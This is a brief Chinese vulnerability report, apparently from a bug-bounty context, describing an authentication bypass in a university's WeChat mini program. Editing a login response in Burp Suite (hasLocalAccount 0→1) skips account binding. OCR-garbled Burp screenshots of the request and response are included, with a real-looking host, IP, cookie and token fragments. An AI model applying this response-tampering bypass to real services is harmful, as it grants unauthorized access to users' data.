微信小程序:存在未授权访问

正常情况下访问是要绑定账号的
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使用burp抓到这个包并截取返回包
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抓取这个返回包,将回显包的hasLocalAccount参数由0改成1后放包可让绕过绑定账号的步骤成功登陆实现未授权访问
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Burp Project Intruder Repeater Window Help  Burp Suite Professional v2021.6.2 - Temporary Project - lic

Dashboard  Target  Prory  Intruder  Repeater  Sequencer  Decoder  Comparer  Logger

& B Requestto htlps.iu.cn:us [202.120.39.134]

1 GET /wx/Login, php?o=ogVW4 jxSPTEX63-1Qkp jocm¥ 2Fcktoken=

2 Host:%

3 User-Agent: Mozilla/s. U (Windows NT 6.1; WOWG4) AppleWebKit/537.36 (KHTML, like Gecko) Chrom
NetType/WIFI MiniProgramEnv/Windows WindowsWechat

4 Content-Type: application/json

5 Referer: https://servicewechat. com/wxbb9232e814£39486/3/page-frame. html

6 Accept-Encoding: geip, deflate

7 Connection: close

8

16863¢bbT0c385ba982421939abe034d54757"

9
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8 Response from https;/ | 143/wx/login.php?0=0gYKWAjxSPTBX63-1QkpjocmY2F c&token=de863chb7
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Raw Hex Render \n =
1 HITP/1. 1 200 OK.

2 Date: Sun, 17 Apr 2022 13:44:43 GMT
3 Server: Apache/2.4.18

4 X-Powered-By: PHP/5. 6. 11-lubuntu3. 4

5 Set-Cookie: SJTU-HEALTH=i6putQcrglmpg2fu2bkpQ0f0pl; path=/; domain=. sjtu. edu.cn
6 Expires: Thu, 19 Nov 1981 08:52:00 GHT

7 Cache-Control : no-store, no-cache, mist-revalidate, post-check
8 Pragma: no-cache

9 Vary: Accept-Encoding

10 Content-Length: 439

11 Connection: close

12 Content-Type: text/htul; charset=UTF-8

13

14 {entity”: {"hasLocalAccount”:1, "timestamp”:"2022-04-17 21:44:43", "goal”:10000, "emailoptin’
15
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